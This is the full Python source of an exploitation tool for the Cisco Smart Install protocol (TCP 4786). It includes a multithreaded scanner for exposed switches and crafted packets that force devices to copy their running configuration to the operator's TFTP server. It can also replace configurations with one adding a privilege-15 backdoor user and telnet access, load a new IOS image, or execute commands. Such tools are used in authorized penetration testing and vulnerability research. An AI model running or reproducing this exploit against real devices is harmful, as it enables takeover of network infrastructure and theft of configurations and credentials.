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siet.py
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#!/usr/bin/python
# SMART INSTALL EXPLOITATION TOOL(SIET)
import argparse
import socket
import os
import shutil
import ntpath
import sys
import subprocess
import time
import threading
try:
import Queue as queue
except ImportError:
# Queue is queue in python3
print('[ERROR]: Does not support python3 yet!')
raise SystemExit
def get_argm_from_user(): # Set arguments for running
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", dest="IP", help="Set ip-address of client")
parser.add_argument("-l", "--list_ip", dest="list_IP", help="Set file with list of target IP")
parser.add_argument("-t", "--test", dest="mode", const="test", action="store_const",
help="Only test for smart install")
parser.add_argument("-g", "--get_config", dest="mode", const="get_config", action="store_const",
help="Get cisco configuration file from device and store it in conf/ directory")
parser.add_argument("-c", "--change_config", dest="mode", const="change_config", action="store_const",
help="Install a new configuration file to the remote device")
parser.add_argument("-u", "--update_ios", dest="mode", const="update_ios", action="store_const",
help="Updating IOS on the remote device")
parser.add_argument("-e", "--execute", dest="mode", const="execute", action="store_const",
help="Execute code on device (new IOS versions: 3.6.0E+ & 15.2(2)E+")
parser.add_argument('--thread-count', metavar='', default=100, type=int,
help='Number of threads to be spawned (default: %(default)s)\n\n')
args = parser.parse_args()
return args
def get_time_from_user(): # Time setting before device reload and apply your configuration file
while True:
tt = raw_input('[INPUT]: Please enter timeout before reload [HH:MM]:')
sHH = tt[0:2]
sMM = tt[3:5]
if ((sHH + sMM).isdigit() == 0) or (int(sHH) > 23) or (int(sMM) > 60) or (':' not in tt):
print('[ERROR]: Invalid time!')
continue
break
return tt[0:5]
def get_file_for_tftp(mode): # Creating directories, configuration files and execute files
ask_file = raw_input(
'[INPUT]: Enter full cisco configuration/execute file path, or press "d" for default (be attention here, default file destroy previous configuration): ')
if ask_file == 'd':
args = get_argm_from_user()
try:
cUser = raw_input('[INPUT]: Enter username or press enter for "cisco": ') or 'cisco'
cPass = raw_input('[INPUT]: Enter password or press enter for "cisco": ') or 'cisco'
if mode == 'config':
f = open('tftp' + '/' + 'default.conf', 'wb')
f.write('username ' + cUser + ' privilege 15 secret 0 ' + cPass + '\n' +
'interface Vlan1\n ip address ' + args.IP + ' ' + '255.255.255.0' + '\n no shutdown\n' +
'line vty 0 4\n login local\n transport input telnet\nend\n')
f.close()
nfile = 'default.conf'
elif mode == 'execute':
f = open('tftp' + '/' + 'execute.txt', 'wb')
f.write('"username ' + cUser + ' privilege 15 secret 0 ' + cPass + '"' + ' "exit"')
f.close()
nfile = 'execute.txt'
except (IOError, OSError) as why:
print(str(why))
print('[ERROR]: Check the file and try again.')
exit()
else:
try:
if mode == 'config':
shutil.copy2(str(ask_file), 'tftp/my.conf')
nfile = 'my.conf'
elif mode == 'execute':
shutil.copy2(str(ask_file), 'tftp/my_exec.txt')
nfile = 'my_exec.txt'
except (IOError, OSError) as why:
print(str(why))
print('[ERROR]: Check the file and try again.')
exit()
print('[INFO]: File created: ' + nfile)
return nfile
def get_ios_for_tftp(): # Creating nessesary files for IOS update
try:
ios_image = raw_input('[INPUT]: Enter canonical path for the cisco IOS image(tar) file: ')
shutil.copy2(str(ios_image), 'tftp/')
ios_image_name = ntpath.basename(ios_image)
if os.path.exists('tftp/tar_imglist0.txt'):
os.remove('tftp/tar_imglist0.txt')
f = open('tftp' + '/' + 'tar_imglist0.txt', 'wb')
f.write(str(ios_image_name))
f.close()
except (IOError, OSError) as why:
print(str(why))
print('[ERROR]: Check the file and try again.')
exit()
def conn_with_client(data, ip, mode=0): # Set connection with remote client
args = get_argm_from_user()
try:
conn_with_host = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn_with_host.settimeout(5)
conn_with_host.connect((ip, 4786))
my_ip = (conn_with_host.getsockname()[0])
if data:
conn_with_host.send(data)
if mode == 0:
conn_with_host.close()
print('[INFO]: Package send success to %s: ' % ip)
elif mode == 1:
resp = '0' * 7 + '4' + '0' * 8 + '0' * 7 + '3' + '0' * 7 + '8' + '0' * 7 + '1' + '0' * 8
while True:
data = conn_with_host.recv(512)
if (len(data) < 1):
print('[INFO]: Smart Install Director feature active on {0}'.format(ip))
print('[INFO]: {0} is not affected'.format(ip))
break
elif (len(data) == 24):
if (data.encode('hex') == resp):
print('[INFO]: Smart Install Client feature active on {0}'.format(ip))
print('[INFO]: {0} is affected'.format(ip))
break
else:
print(
'[ERROR]: Unexpected response received, Smart Install Client feature might be active on {0}'.format(
ip))
print('[INFO]: Unclear whether {0} is affected or not'.format(ip))
break
else:
print(
'[ERROR]: Unexpected response received, Smart Install Client feature might be active on {0}'.format(
ip))
print('[INFO]: Unclear whether {0} is affected or not'.format(ip))
break
conn_with_host.close()
return my_ip
except KeyboardInterrupt:
print('[INFO]: You pressed Ctrl+C, exit.')
exit()
except socket.gaierror:
print('[ERROR]: Hostname could not be resolved, exit.')
exit()
except socket.error:
if args.IP:
print("[ERROR]: Couldn't connect to %s, exit." % ip)
exit()
elif args.list_IP:
print("[ERROR]: Couldn't connect to %s, next." % ip)
pass
def test_device(current_ip): # Testing for smart install
sTcp = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '4' + '0' * 7 + '8' + '0' * 7 + '1' + '0' * 8
# print('[DEBUG]: Packet for sent: ' + sTcp)
print('[INFO]: Sending TCP packet to %s ' % current_ip)
# print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex'))
conn_with_client(sTcp.decode('hex'), current_ip, mode=1)
def test_device_scheduler(hosts_to_scan_queue):
while not hosts_to_scan_queue.empty():
host = hosts_to_scan_queue.get()
test_device(host)
hosts_to_scan_queue.task_done()
def change_tftp(mode, current_ip): # Send package for changing tftp address
my_ip = conn_with_client(None, current_ip)
if not my_ip:
my_ip = socket.gethostbyname(socket.gethostname())
if mode == 'change_config':
config_file = get_file_for_tftp('config')
fConf = 'tftp://' + my_ip + '/' + config_file
sTime = get_time_from_user()
sDump1 = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '3' + '0' * 5 + '128' + '0' * 7 + '3' + '0' * 23 + '2' + '0' * 15 + '1' + '0' * 6
sDump2 = '0' * (264 - len(fConf) * 2)
sTcp = sDump1 + ('%02x' % int(sTime[0:2])) + '0' * 6 + ('%02x' % int(sTime[3:5])) + '0' * 264 + fConf.encode(
'hex') + sDump2
elif mode == 'get_config':
# need more test with this payload ( "system:" may be more usefull then "nvram:"
# c1 = 'copy nvram:startup-config flash:/config.text'
# c2 = 'copy nvram:startup-config tftp://' + my_ip + '/' + current_ip + '.conf'
c1 = 'copy system:running-config flash:/config.text'
c2 = 'copy flash:/config.text tftp://' + my_ip + '/' + current_ip + '.conf'
c3 = ''
sTcp = '0' * 7 + '1' + '0' * 7 + '1' + '0' * 7 + '800000' + '40800010014' + '0' * 7 + '10' + '0' * 7 + 'fc994737866' + '0' * 7 + '0303f4'
sTcp = sTcp + c1.encode('hex') + '00' * (336 - len(c1))
sTcp = sTcp + c2.encode('hex') + '00' * (336 - len(c2))
sTcp = sTcp + c3.encode('hex') + '00' * (336 - len(c3))
elif mode == 'update_ios':
get_ios_for_tftp()
sTime = get_time_from_user()
fList = 'tftp://' + my_ip + '/tar_imglist0.txt'
sTcp = '%08x' % 1 + '%08x' % 1 + '%08x' % 2 + '%08x' % 0x1c4 + '%08x' % 2
if sTime == '00:00':
sTcp += '%08x' % 0x821 + '%024x' % 1 + '%032x' % 1
else:
sTcp += '%08x' % 0x801 + '%024x' % 0 + '%08x' % 1 + '%08x' % int(sTime[0:2]) + '%08x' % int(
sTime[3:5]) + '%08x' % 1
sTcp += fList.encode('hex') + '00' * (415 - len(fList)) + '01'
elif mode == 'execute':
exec_file = get_file_for_tftp('execute')
c1 = ''
c2 = ''
c3 = 'tftp://' + my_ip + '/' + exec_file
sTcp = '%08d' % 2 + '%08d' % 1 + '%08d' % 5 + '%08d' % 210 + '%08d' % 1
sTcp = sTcp + c1.encode('hex') + '00' * (128 - len(c1))
sTcp = sTcp + c2.encode('hex') + '00' * (264 - len(c2))
sTcp = sTcp + c3.encode('hex') + '00' * (131 - len(c3)) + '01'
# print('[DEBUG]: Packet for sent: ' + sTcp)
print('[INFO]: Sending TCP packet to %s ' % current_ip)
# print('[DEBUG]: Decoded packet to sent: ' + sTcp.decode('hex'))
conn_with_client(sTcp.decode('hex'), current_ip)
def main():
args = get_argm_from_user()
if args.mode == 'test':
if args.list_IP:
hosts_to_scan_queue = queue.Queue()
with open(args.list_IP, 'r') as list:
[hosts_to_scan_queue.put(line.strip()) for line in list]
try:
threads = []
for _ in range(args.thread_count):
thread = threading.Thread(target=test_device_scheduler, args=(hosts_to_scan_queue,))
threads.append(thread)
thread.daemon=True
thread.start()
except Exception as err:
print('[ERROR]: Taking down all testing threads!')
print(err)
finally:
for thread in threads: thread.join()
else:
current_ip = args.IP
test_device(current_ip)
else:
tftp = subprocess.Popen(["python", "sTFTP.py"])
if args.mode != 'get_config':
current_ip = args.IP
change_tftp(args.mode, current_ip)
elif args.mode == 'get_config':
if args.IP:
current_ip = args.IP
change_tftp(args.mode, current_ip)
elif args.list_IP:
try:
def worker():
while True:
ip = q.get()
change_tftp(args.mode, ip)
q.task_done()
q = queue.Queue()
with open(args.list_IP, 'r') as list:
for line in list:
ip = line.strip()
if ip: q.put(ip)
for i in range(args.thread_count):
t = threading.Thread(target=worker)
t.daemon = True
t.start()
q.join()
except (IOError, OSError) as why:
print(str(why))
print('[ERROR]: Check the file and try again.')
exit()
except TypeError:
pass
except KeyboardInterrupt:
print('[INFO]: You pressed Ctrl+C, exit.')
exit()
print('[INFO]: Getting config done')
else:
print('[ERROR]: Choose the tool mode (test/get_config/change_config/update_ios/execute)')
print('[INFO]: All done! Waiting 60 seconds for end of connections...')
time.sleep(60)
tftp.terminate()
main()